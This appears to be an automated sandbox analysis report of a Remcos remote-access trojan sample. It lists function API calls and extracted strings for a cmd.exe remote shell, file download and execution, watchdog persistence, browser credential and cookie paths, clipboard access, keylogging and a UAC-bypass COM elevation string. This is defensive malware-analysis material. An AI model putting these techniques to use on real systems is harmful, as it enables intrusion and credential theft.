                                                                                      • Part of subcall function 00404468: SetEvent.KERNEL32(?,?,?,00000004,?,?,00000004,00475B70,00473EE8,00000000,?,?,?,?,?,00401943), ref: 0040453C
                                                                                    • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00407416
                                                                                    • GetLogicalDriveStringsA.KERNEL32 ref: 004074F5
                                                                                    • SetFileAttributesW.KERNEL32(00000000,?,00000000,00000001), ref: 0040773A
                                                                                    • DeleteFileA.KERNEL32(?), ref: 004078CC
                                                                                      • Part of subcall function 00407A8C: __EH_prolog.LIBCMT ref: 00407A91
                                                                                      • Part of subcall function 00407A8C: FindFirstFileW.KERNEL32(00000000,?,00465AA0,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00407B4A
                                                                                      • Part of subcall function 00407A8C: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00407B6E
                                                                                    • Sleep.KERNEL32(000007D0), ref: 00407976
                                                                                    • StrToIntA.SHLWAPI(00000000), ref: 004079BA
                                                                                      • Part of subcall function 0041BB77: SystemParametersInfoW.USER32(00000014,00000000,00000000,00000003), ref: 0041BC6C
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: File$Find$AttributesCloseDeleteDirectoryEventFirstNextRemove$CreateDriveExecuteH_prologHandleInfoLocalLogicalMoveObjectParametersShellSingleSleepStringsSystemTimeWaitWritesend
                                                                                    • String ID: Browsing directory: $Deleted file: $Downloaded file: $Downloading file: $Executing file: $Failed to download file: $H@G$Unable to delete: $Unable to rename file!$V>G$open$x@G$x@G$x@G$x@G$>G
                                                                                    • API String ID: 2918587301-599666313
                                                                                    • Opcode ID: a2513e6f9dba0a8c426015b0dd55e8ef200cb99699fcf87f8fdca6002cc6a923
                                                                                    • Instruction ID: 8a4068a2e00c67808ff4e441dc576a613f01372a1abbdcb91e63f440e0dcd641
                                                                                    • Opcode Fuzzy Hash: a2513e6f9dba0a8c426015b0dd55e8ef200cb99699fcf87f8fdca6002cc6a923
                                                                                    • Instruction Fuzzy Hash: 60429371A043005BC614F776C8979AE77A99F90718F40493FF946731E2EE3CAA09C69B
                                                                                    Function 00405042 Relevance: 38.8, APIs: 15, Strings: 7, Instructions: 280pipesleepfileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • __Init_thread_footer.LIBCMT ref: 0040508E
                                                                                      • Part of subcall function 004334CF: EnterCriticalSection.KERNEL32(3_,00475D2C,?,0040AEAC,00475D2C,00456D97,?,00000000,00000000), ref: 004334D9
                                                                                      • Part of subcall function 004334CF: LeaveCriticalSection.KERNEL32(3_,?,0040AEAC,00475D2C,00456D97,?,00000000,00000000), ref: 0043350C
                                                                                      • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                                                    • __Init_thread_footer.LIBCMT ref: 004050CB
                                                                                    • CreatePipe.KERNEL32(00475CEC,00475CD4,00475BF8,00000000,0046556C,00000000), ref: 0040515E
                                                                                    • CreatePipe.KERNEL32(00475CD8,00475CF4,00475BF8,00000000), ref: 00405174
                                                                                    • CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00475C08,00475CDC), ref: 004051E7
                                                                                      • Part of subcall function 00433519: EnterCriticalSection.KERNEL32(3_,?,00475D2C,?,0040AE8B,00475D2C,?,00000000,00000000), ref: 00433524
                                                                                      • Part of subcall function 00433519: LeaveCriticalSection.KERNEL32(3_,?,0040AE8B,00475D2C,?,00000000,00000000), ref: 00433561
                                                                                    • Sleep.KERNEL32(0000012C,00000093,?), ref: 0040523F
                                                                                    • PeekNamedPipe.KERNEL32 ref: 00405264
                                                                                    • ReadFile.KERNEL32(00000000,?,?,00000000), ref: 00405291
                                                                                      • Part of subcall function 004338A5: __onexit.LIBCMT ref: 004338AB
                                                                                    • WriteFile.KERNEL32(00000000,00000000,?,00000000,00473F98), ref: 0040538E
                                                                                    • Sleep.KERNEL32(00000064,00000062,00465554), ref: 004053A8
                                                                                    • TerminateProcess.KERNEL32(00000000), ref: 004053C1
                                                                                    • CloseHandle.KERNEL32 ref: 004053CD
                                                                                    • CloseHandle.KERNEL32 ref: 004053D5
                                                                                    • CloseHandle.KERNEL32 ref: 004053E7
                                                                                    • CloseHandle.KERNEL32 ref: 004053EF
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseCriticalHandleSection$CreatePipe$EnterFileInit_thread_footerLeaveProcessSleep$NamedPeekReadTerminateWrite__onexitsend
                                                                                    • String ID: P\G$P\G$P\G$P\G$P\G$SystemDrive$cmd.exe
                                                                                    • API String ID: 3815868655-81343324
                                                                                    • Opcode ID: 4c0d013e25d2cad250b89487c8f0b25284d6538e9ba00052d62a9a92d56f540d
                                                                                    • Instruction ID: b18bac6d60c4c725a58799f80733fb47b3e4e6a61b1262bf76379e9ec18ff918
                                                                                    • Opcode Fuzzy Hash: 4c0d013e25d2cad250b89487c8f0b25284d6538e9ba00052d62a9a92d56f540d
                                                                                    • Instruction Fuzzy Hash: A691E5716007056FD705BB65AC41A6F37A8EB80348F50403FF94ABA1E2EEBC9C448B6D
                                                                                    Function 00410F36 Relevance: 33.5, APIs: 7, Strings: 12, Instructions: 238threadCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetCurrentProcessId.KERNEL32 ref: 00410F45
                                                                                      • Part of subcall function 004127D5: RegCreateKeyA.ADVAPI32(80000001,00000000,TUF), ref: 004127E3
                                                                                      • Part of subcall function 004127D5: RegSetValueExA.KERNEL32(TUF,000000AF,00000000,00000004,00000001,00000004), ref: 004127FE
                                                                                      • Part of subcall function 004127D5: RegCloseKey.KERNEL32(?), ref: 00412809
                                                                                    • OpenMutexA.KERNEL32 ref: 00410F81
                                                                                    • CreateThread.KERNEL32(00000000,00000000,00411637,00000000,00000000,00000000), ref: 00410FE6
                                                                                      • Part of subcall function 004124B7: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 004124D7
                                                                                      • Part of subcall function 004124B7: RegQueryValueExA.KERNEL32 ref: 004124F5
                                                                                      • Part of subcall function 004124B7: RegCloseKey.KERNEL32(?), ref: 00412500
                                                                                    • CloseHandle.KERNEL32(00000000), ref: 00410F90
                                                                                      • Part of subcall function 0041A686: GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                                                    • OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 0041125A
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseOpen$CreateProcessValue$CurrentHandleLocalMutexQueryThreadTime
                                                                                    • String ID: 0DG$Remcos restarted by watchdog!$WDH$Watchdog launch failed!$Watchdog module activated$WinDir$\SysWOW64\$\system32\$fsutil.exe$rmclient.exe$svchost.exe$BG
                                                                                    • API String ID: 65172268-860466531
                                                                                    • Opcode ID: 200a0184714d490d0ba0b4defa5ea6ad14bb453dc3729acd8178532fd6d1d07e
                                                                                    • Instruction ID: 2ec41641ff7d981187ed77e29e7d519fc89a207972baa733902a05010441332b
                                                                                    • Opcode Fuzzy Hash: 200a0184714d490d0ba0b4defa5ea6ad14bb453dc3729acd8178532fd6d1d07e
                                                                                    • Instruction Fuzzy Hash: 97719E3160420157C614FB32D8579AE77A8AED4718F40053FF582A21F2EF7CAA49869F
                                                                                    Function 0040B335 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 145fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040B3B4
                                                                                    • FindClose.KERNEL32(00000000), ref: 0040B3CE
                                                                                    • FindNextFileA.KERNEL32(00000000,?), ref: 0040B4F1
                                                                                    • FindClose.KERNEL32(00000000), ref: 0040B517
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Find$CloseFile$FirstNext
                                                                                    • String ID: [Firefox StoredLogins Cleared!]$[Firefox StoredLogins not found]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\key3.db$\logins.json
                                                                                    • API String ID: 1164774033-3681987949
                                                                                    • Opcode ID: 76fc6f2f8938e12f39c523e25d48290a13894f358b4903df99732470634f51ee
                                                                                    • Instruction ID: 89bba1744b34cafda07904381260291e44814ca984bf7dbd554ee600cd7873bd
                                                                                    • Opcode Fuzzy Hash: 76fc6f2f8938e12f39c523e25d48290a13894f358b4903df99732470634f51ee
                                                                                    • Instruction Fuzzy Hash: 4D512C319042195ADB14FBA1EC96AEE7768EF50318F50007FF805B31E2EF389A45CA9D
                                                                                    Function 0040B53A Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 130fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040B5B2
                                                                                    • FindClose.KERNEL32(00000000), ref: 0040B5CC
                                                                                    • FindNextFileA.KERNEL32(00000000,?), ref: 0040B68C
                                                                                    • FindClose.KERNEL32(00000000), ref: 0040B6B2
                                                                                    • FindClose.KERNEL32(00000000), ref: 0040B6D1
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Find$Close$File$FirstNext
                                                                                    • String ID: [Firefox Cookies not found]$[Firefox cookies found, cleared!]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\cookies.sqlite
                                                                                    • API String ID: 3527384056-432212279
                                                                                    • Opcode ID: ca4c0e5d84f7cb7ee38c8e3133793af3c270269af9d1d2af5c27a16806cbf6ef
                                                                                    • Instruction ID: 41d59f58487c11b5b23c2ebc8e3123b77d6604a8f5f59a85184e8f88ff1ca84c
                                                                                    • Opcode Fuzzy Hash: ca4c0e5d84f7cb7ee38c8e3133793af3c270269af9d1d2af5c27a16806cbf6ef
                                                                                    • Instruction Fuzzy Hash: 65413A319042196ACB14F7A1EC569EE7768EE21318F50017FF801B31E2EF399A458A9E
                                                                                    Function 0040E219 Relevance: 19.5, APIs: 6, Strings: 5, Instructions: 212processCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000,?,?,00474358), ref: 0040E233
                                                                                    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040E25E
                                                                                    • Process32FirstW.KERNEL32(00000000,0000022C), ref: 0040E27A
                                                                                    • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040E2FD
                                                                                    • CloseHandle.KERNEL32(00000000), ref: 0040E30C
                                                                                      • Part of subcall function 004127D5: RegCreateKeyA.ADVAPI32(80000001,00000000,TUF), ref: 004127E3
                                                                                      • Part of subcall function 004127D5: RegSetValueExA.KERNEL32(TUF,000000AF,00000000,00000004,00000001,00000004), ref: 004127FE
                                                                                      • Part of subcall function 004127D5: RegCloseKey.KERNEL32(?), ref: 00412809
                                                                                    • CloseHandle.KERNEL32(00000000), ref: 0040E371
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Close$CreateHandleProcess32$FileFirstModuleNameNextSnapshotToolhelp32Value
                                                                                    • String ID: C:\Program Files(x86)\Internet Explorer\$Inj$ieinstal.exe$ielowutil.exe$BG
                                                                                    • API String ID: 726551946-3025026198
                                                                                    • Opcode ID: fc54411cfe1b16664af1a362ddb9d5f33de03dcc47f8e28b32825c15ab13c746
                                                                                    • Instruction ID: ae31f71cb8b9f969ca9e83e5ca698076ed3bac053ed440982de07d1dc4d90588
                                                                                    • Opcode Fuzzy Hash: fc54411cfe1b16664af1a362ddb9d5f33de03dcc47f8e28b32825c15ab13c746
                                                                                    • Instruction Fuzzy Hash: ED7172311083019BC714FB61D8519EF77A5BF91358F400D3EF986631E2EF38A959CA9A
                                                                                    Function 004159C6 Relevance: 18.1, APIs: 12, Instructions: 80clipboardmemoryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • OpenClipboard.USER32 ref: 004159C7
                                                                                    • EmptyClipboard.USER32 ref: 004159D5
                                                                                    • GlobalAlloc.KERNEL32(00002000,-00000002), ref: 004159F5
                                                                                    • GlobalLock.KERNEL32(00000000), ref: 004159FE
                                                                                    • GlobalUnlock.KERNEL32(00000000), ref: 00415A34
                                                                                    • SetClipboardData.USER32(0000000D,00000000), ref: 00415A3D
                                                                                    • CloseClipboard.USER32 ref: 00415A5A
                                                                                    • OpenClipboard.USER32 ref: 00415A61
                                                                                    • GetClipboardData.USER32 ref: 00415A71
                                                                                    • GlobalLock.KERNEL32(00000000), ref: 00415A7A
                                                                                    • GlobalUnlock.KERNEL32(00000000), ref: 00415A83
                                                                                    • CloseClipboard.USER32 ref: 00415A89
                                                                                      • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Clipboard$Global$CloseDataLockOpenUnlock$AllocEmptysend
                                                                                    • String ID:
                                                                                    • API String ID: 3520204547-0
                                                                                    • Opcode ID: e20a420068aeef0f1e8fb2ee20dbe7dc4de82fb71b06899c46137a2a509998a5
                                                                                    • Instruction ID: b8e523df9fc7c7245f85f50a48877f09888e29e8b5459684195c928b546a98bf
                                                                                    • Opcode Fuzzy Hash: e20a420068aeef0f1e8fb2ee20dbe7dc4de82fb71b06899c46137a2a509998a5
                                                                                    • Instruction Fuzzy Hash: E02183712043009BC714BBB1EC5AAAE76A9AF80752F00453EFD06961E2EF38C845D66A
                                                                                    Function 00418754 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 197COMMON
                                                                                    Download Yara Rule
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: 0$1$2$3$4$5$6$7
                                                                                    • API String ID: 0-3177665633
                                                                                    • Opcode ID: a67fb25c249552ee9189d14a7b82946051c82c8a43c29b1558aee354ad113b8a
                                                                                    • Instruction ID: 2879f211a781d1662389055333b9a248a4bc7621c6500268a6892da51c348380
                                                                                    • Opcode Fuzzy Hash: a67fb25c249552ee9189d14a7b82946051c82c8a43c29b1558aee354ad113b8a
                                                                                    • Instruction Fuzzy Hash: CC61A370508301AEDB00EF21D862FEA77E4AF85754F40485EFA91672E1DF789A48C797
                                                                                    Function 00409B10 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 108keyboardthreadCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Unicode$KeyboardStateWindow$ForegroundLayoutProcessThread
                                                                                    • String ID: 8[G
                                                                                    • API String ID: 1888522110-1691237782
                                                                                    • Opcode ID: 925a5eb4e75251b1def6021025d6fe2bb9c2de734200d7c4e5adce8016dcfecb
                                                                                    • Instruction ID: f24a8317de74a0bbad47f265c67a45df51816e9018bfad09e00086f3728f1c27
                                                                                    • Opcode Fuzzy Hash: 925a5eb4e75251b1def6021025d6fe2bb9c2de734200d7c4e5adce8016dcfecb
                                                                                    • Instruction Fuzzy Hash: EE318172508309AFD700DF90DC85FDBB7ECEB48715F00083ABA45961A1D6B5E948DB96
                                                                                    Function 00406764 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 55COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • _wcslen.LIBCMT ref: 00406788
                                                                                    • CoGetObject.OLE32(?,00000024,004659B0,00000000), ref: 004067E9
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Object_wcslen
                                                                                    • String ID: $$Elevation:Administrator!new:$[+] CoGetObject$[+] CoGetObject SUCCESS$[+] ucmAllocateElevatedObject$[-] CoGetObject FAILURE${3E5FC7F9-9A51-4367-9063-A120244FBEC7}
                                                                                    • API String ID: 240030777-3166923314
                                                                                    • Opcode ID: f680b05b7da9254b8b2e62aef58334289a0f3b659c75efd963e3361adaa2c028
                                                                                    • Instruction ID: dba8c49f7cecafb8ed31af17d29d910bb03d3c12ecd117c8e18c4d6c9c114880
                                                                                    • Opcode Fuzzy Hash: f680b05b7da9254b8b2e62aef58334289a0f3b659c75efd963e3361adaa2c028
                                                                                    • Instruction Fuzzy Hash: 811170B2901118AEDB10FAA5884AA9EB7BCDB48714F55007FE905F3281E7789A148A7D
                                                                                    Function 004198C2 Relevance: 15.2, APIs: 10, Instructions: 228serviceCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • OpenSCManagerA.ADVAPI32(00000000,00000000,00000004,004748F8), ref: 004198D8
                                                                                    • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,?,00000000,?,?,?), ref: 00419927
                                                                                    • GetLastError.KERNEL32 ref: 00419935
                                                                                    • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,00000000,?,?,?,?), ref: 0041996D
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: EnumServicesStatus$ErrorLastManagerOpen
                                                                                    • String ID:
                                                                                    • API String ID: 3587775597-0
                                                                                    • Opcode ID: 0351a274b3fe0589e13ddaa562decd04cab73b9e2b6e6ab105b00d25cbaed998
                                                                                    • Instruction ID: 5304d2aa3016a1bb8b693e548c532b43deb082133906afc562c92feca393f19d
                                                                                    • Opcode Fuzzy Hash: 0351a274b3fe0589e13ddaa562decd04cab73b9e2b6e6ab105b00d25cbaed998
                                                                                    • Instruction Fuzzy Hash: 37812F711083049BC614FB21DC959AFB7A8BF94718F50493EF582521E2EF78AA05CB9A
                                                                                    Function 004513B7 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 188COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 00446EBF: GetLastError.KERNEL32(?,?,0043931C,?,00000000,?,0043B955,00000000,00000000), ref: 00446EC3
                                                                                      • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446EF6
                                                                                      • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,00000000,00000000), ref: 00446F37
                                                                                      • Part of subcall function 00446EBF: _abort.LIBCMT ref: 00446F3D
                                                                                      • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446F1E
                                                                                      • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,00000000,00000000), ref: 00446F2B
                                                                                    • GetUserDefaultLCID.KERNEL32(?,?,?), ref: 004514C3
                                                                                    • IsValidCodePage.KERNEL32(00000000), ref: 0045151E
                                                                                    • IsValidLocale.KERNEL32(?,00000001), ref: 0045152D
                                                                                    • GetLocaleInfoW.KERNEL32(?,00001001,<D,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 00451575
                                                                                    • GetLocaleInfoW.KERNEL32(?,00001002,00000000,00000040), ref: 00451594
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
                                                                                    • String ID: <D$<D$<D
                                                                                    • API String ID: 745075371-3495170934
                                                                                    • Opcode ID: 5c8e94395c66df2641350def7a129c2a5847567c9c00908226c609ff7e549d11
                                                                                    • Instruction ID: fdda48fcf8ef828b158f806230e01f9d82b9b72a6df542884d0e4dc3e0683d2c
                                                                                    • Opcode Fuzzy Hash: 5c8e94395c66df2641350def7a129c2a5847567c9c00908226c609ff7e549d11
                                                                                    • Instruction Fuzzy Hash: 5A51D571900205ABEF10EFA5CC40BBF73B8AF05702F14056BFD11EB262E7789A488769
                                                                                    Function 0041B42F Relevance: 13.6, APIs: 9, Instructions: 105fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,004742E0,004742F8), ref: 0041B489
                                                                                    • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,004742E0,004742F8), ref: 0041B4BB
                                                                                    • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,?,004742E0,004742F8), ref: 0041B529
                                                                                    • DeleteFileW.KERNEL32(?,?,?,?,?,?,?,004742E0,004742F8), ref: 0041B536
                                                                                      • Part of subcall function 0041B42F: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,?,004742E0,004742F8), ref: 0041B50C
                                                                                    • FindClose.KERNEL32(00000000,?,?,?,?,?,?,004742E0,004742F8), ref: 0041B561
                                                                                    • RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,?,004742E0,004742F8), ref: 0041B568
                                                                                    • GetLastError.KERNEL32(?,?,?,?,?,?,004742E0,004742F8), ref: 0041B570
                                                                                    • FindClose.KERNEL32(00000000,?,?,?,?,?,?,004742E0,004742F8), ref: 0041B583
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: FileFind$CloseDirectoryRemove$AttributesDeleteErrorFirstLastNext
                                                                                    • String ID:
                                                                                    • API String ID: 2341273852-0
                                                                                    • Opcode ID: e3c00313fe9feb441b7390d1c72d337a5a5a4ab260ce0f05f37d8840b2d05d0a
                                                                                    • Instruction ID: e81c2b0307560c21eb772b723951cbad4d8c7a866ea933437d0d5d39764c0eb1
                                                                                    • Opcode Fuzzy Hash: e3c00313fe9feb441b7390d1c72d337a5a5a4ab260ce0f05f37d8840b2d05d0a
                                                                                    • Instruction Fuzzy Hash: 0031627184921CAACB20D7B1AC89ADA77BCAF04309F4405EBF505D3181EB799AC5CE69
                                                                                    Function 00418C69 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 245fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • FindFirstFileW.KERNEL32(00000000,?), ref: 00418EBF
                                                                                    • FindNextFileW.KERNEL32(00000000,?,?), ref: 00418F8B
                                                                                      • Part of subcall function 0041B61A: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041B633
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: File$Find$CreateFirstNext
                                                                                    • String ID: @CG$XCG$`HG$`HG$>G
                                                                                    • API String ID: 341183262-3780268858
                                                                                    • Opcode ID: 3c7b0f7378a598afc1d4255870908bba1e58986dbd97dab361e7084bcd52c6c7
                                                                                    • Instruction ID: 861c71bda04042c44626cba1538e35c757a91b728f0af2478fb4c1063bb13cc5
                                                                                    • Opcode Fuzzy Hash: 3c7b0f7378a598afc1d4255870908bba1e58986dbd97dab361e7084bcd52c6c7
                                                                                    • Instruction Fuzzy Hash: B08141315042405BC314FB62C892EEFB3A5AFD1718F50493FF946671E2EF389A49C69A
                                                                                    Function 00412F45 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 391registrylibraryloaderCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • RegCreateKeyExW.ADVAPI32(00000000), ref: 0041301A
                                                                                    • RegCloseKey.ADVAPI32(?), ref: 00413026
                                                                                      • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                                                    • LoadLibraryA.KERNEL32(Shlwapi.dll), ref: 004131ED
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 004131F4
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AddressCloseCreateLibraryLoadProcsend
                                                                                    • String ID: SHDeleteKeyW$Shlwapi.dll
                                                                                    • API String ID: 2127411465-314212984
                                                                                    • Opcode ID: 7e56d1b337ed60d6ebb2272a224a3c1a7158b3aefe01ba50c428e3e829302dc9
                                                                                    • Instruction ID: cc67afc49b78d61a2372e1362dfc4f5d4a672f2d1b5b468e2109e7b1f18a6fb5
                                                                                    • Opcode Fuzzy Hash: 7e56d1b337ed60d6ebb2272a224a3c1a7158b3aefe01ba50c428e3e829302dc9
                                                                                    • Instruction Fuzzy Hash: 4FB1B671A043006BC614BA76CC979BE76989F94718F40063FF946B31E2EF7C9A4486DB
                                                                                    Function 0040B21B Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 48fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Login Data), ref: 0040B257
                                                                                    • GetLastError.KERNEL32 ref: 0040B261
                                                                                    Strings
                                                                                    • \AppData\Local\Google\Chrome\User Data\Default\Login Data, xrefs: 0040B222
                                                                                    • UserProfile, xrefs: 0040B227
                                                                                    • [Chrome StoredLogins not found], xrefs: 0040B27B
                                                                                    • [Chrome StoredLogins found, cleared!], xrefs: 0040B287
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: DeleteErrorFileLast
                                                                                    • String ID: [Chrome StoredLogins found, cleared!]$[Chrome StoredLogins not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Login Data
                                                                                    • API String ID: 2018770650-1062637481
                                                                                    • Opcode ID: a2128c42762ca10650babd8ab1cfb8cacd5f3b7577b82760db2916a4dab099ee
                                                                                    • Instruction ID: 236ee74dc97b4bdf00ef4875347123a6b81b21ae8e03a402b83ae8c28ff1bd46
                                                                                    • Opcode Fuzzy Hash: a2128c42762ca10650babd8ab1cfb8cacd5f3b7577b82760db2916a4dab099ee
